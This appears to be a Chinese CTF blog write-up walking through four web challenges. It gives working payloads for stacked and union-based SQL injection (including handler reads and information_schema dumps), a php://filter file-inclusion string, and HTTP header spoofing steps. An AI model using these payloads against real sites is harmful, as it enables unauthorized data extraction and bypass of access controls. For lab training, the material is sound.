1.[强网杯 2019]随便注
（1）打开环境发现是sql注入
（2）输入1，2这里都会对应回显相应的内容
（3）这里判断一下是不是字符型注入 1'
（4）在判断是否存在关键字过滤 select
（5）发现联合查询等放方式都被过滤了，这里只能尝试堆叠注入了，先看看有几个字段 1’ order by 2# 和 1; order by 3#; 根据回显可判断出字段数为2
这里就先查看数据库 1’; show databases;
（6）再查看数据表 1'; show tables;
（7）根据表中的数据，先爆一下words表中的数据 1'; show columns from words; #
（8）发现words表中并不存在flag文件，再爆一下1919810931114514中的数据 1';show columns from `1919810931114514`; --+
注意：使用show 命令查看表中的「字段」，注意表名要用反引号包裹
（9）打开发现这里存在flag文件，尝试获取flag表中的数据，这里要使用一个handler命令
1';handler `1919810931114514` open;handler `1919810931114514` read first; --+
注：使用handler 命令查看表中的「数据」，需要注意的是，表名如果是数字，则需要使用反引号包裹起来
打开此表就能看到flag数据了
注：MySQL 除了可以使用 select 查询表中的数据，也可使用 handler 语句，这条语句使我们能够一行一行的浏览一个表中的数据，不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句，并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口，可以用于 MyISAM 和 InnoDB 表。
2.[极客大挑战 2019]Secret File
（1）打开环境后是一些文字信息，没有解题作用
（2）查看源码，看这题想文件包含漏洞题，而且源码里还有一个隐藏文件
（3）直接打开这个页面发现还有链接，直接跟着它走
（4）进来之后还是没发现啥有用的
（5）这里就需要靠考虑是不是在两个网页变换时有没有什么变化，直接抓包看看，从响应内容中我们可以看到页面的内容中存在信息泄露，「注释」中有一个文件 secr3t.php
（6）打开这个文件看看里面有啥
（7）访问 secr3t.php 文件，页面中展示了部分代码，很明显是一个「文件包含」漏洞，并提示 flag 就在 flag.php文件中，意思就是让我们查看 flag.php 文件的内容，但是直接打开却打不开
这里跟前面做过的一个看后端源码的题很相似，就是：PHP的文件包含函数有一个「特性」，被包含的文件内容中，如果是「代码」则会执行，而不会在页面中展示；如果是「非代码」（不能被执行的内容），则会以文本的形式在页面中展示出来。针对这一特性，我们可以使用PHP伪协议对文件内容进行「编码」，编码后的文件内容由于不能被执行，会展示在页面中，而后再将页面中的内容复制到本地进行「解码」，即可查看文件内容，拿到 flag。
这里还是选择用base64编码 /secr3t.php?file=php://filter/read=convert.base64--encode/resource=flag.php
（8）用工具解码后查看它的编码内容即可找到flag
3.[极客大挑战 2019]LoveSQL
（1）点进环境后是这样一个界面
（2）这里先输入1 1‘ 1’ or 1=1#等看看回显数据，
发现都输入1‘时是下面这样的
（3）猜解字段数
当username=1' order by 4 -- + password=123456时，页面报错。
（4）当username=1' order by 3 -- + password=123456时，页面正常，判断有三个字段。
（5）寻找回显点
构造sql语句：username=1' union select 1,2,3 -- + password=123456 ;发现存在两个回显点。
（6）再查一下表数据 1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 可以看到有geekuser，l0ve1ysq1两个表
（7）先查看第一个表的字段 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#
（8）再查看第二张表字段 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
（9）再分别看看两张表中的数据 1' union select 1,2,group_concat(id,username,password) from geekuser#
（10）1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1# 在第二张表中找到flag
4.[极客大挑战 2019]Http
首先这是Http题常见的一种体系，通常需要补全下面的这些内容才能拿到flag
GET or POST / HTTP/1.1
Host:
Cache-Control:
Upgrade-Insecure-Requests:
User-Agent: //一般这个地方也需要改，看题目给的啥提示来改.
//UA的后面接上请求的浏览器 操作系统的信息等.
Accept:
Accept-Encoding:
Accept-Language:
Connection:
X-Forwarded-For：//如果提示只能由本地访问，这里内容必须改为127.0.0.1如果给了其他ip,那就改为其他IP地址.
Referer：//这地方也需要改，看看题目给的提示，看给哪个url。
Cookie://如果提示只能由管理员访问，就必须把Cookie的内容改为admin。
状态码表明资源的请求结果状态，由三位十进制数组成，第一位代表基本的类别：
- 1xx，提供信息
- 2xx，请求成功提交
- 3xx，客户端重定向其他资源
- 4xx，请求包含错误
- 5xx，服务端执行遇到错误
这是常见的状态码和短语
（1）打开环境后是一个静态页面
解读<a style="border:none;cursor:default;" οnclick="return false" href="Secret.php">
<a>标签是HTML中用于创建超链接的元素。所以我们可以把"Secret.php"理解为一个链接地址。这个超链接指向名为"Secret.php"的文件或资源。而onclick是点击事件的意思。它被设置为return false,这说明点击该链接时，不会执行任何操作。这样我们就得到了解决本题的有用信息。
（2）进入它源码中的网页
"https://Sycsecret.buuoj.cn" 是一个URL，指向一个名为 "Sycsecret.buuoj.cn" 的网站或资源。即提示要增加Referer值为https://Sycsecret.buuoj.cn。Referer（请求头字段）表示指示请求的来源页面。It doesn’t come from我们可以添加使它变成do。
（3）这里用BP抓包后修改
（4）点击页面渲染。显示界面为Please use "Syclover" browser，表示请使用Syclover浏览器。 即需要增加User-Agent。
注： User-Agent：标识发起请求的用户代理（常为浏览器）
（5）所以我们要把User-Agent的浏览器改为Syclover浏览器。
之后界面显示“No!!! you can only read this locally!!!”表示只能本地访问的意思。
（6）这就需要增加一个X-Forwarded-For:127.0.0.1
注： X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1（RFC 2616）协议并没有对它的定义，它最开始是由 Squid 这个缓存代理软件引入，用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准，被各大 HTTP 代理、负载均衡等转发服务广泛使用，并被写入 RFC 7239（Forwarded HTTP Extension）标准之中。
一般的ctf题对 X-Forwarded-For 的考点是 只能由本地访问，就会用到 X-Forwarded-For。
然后就能找到flag了
562
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
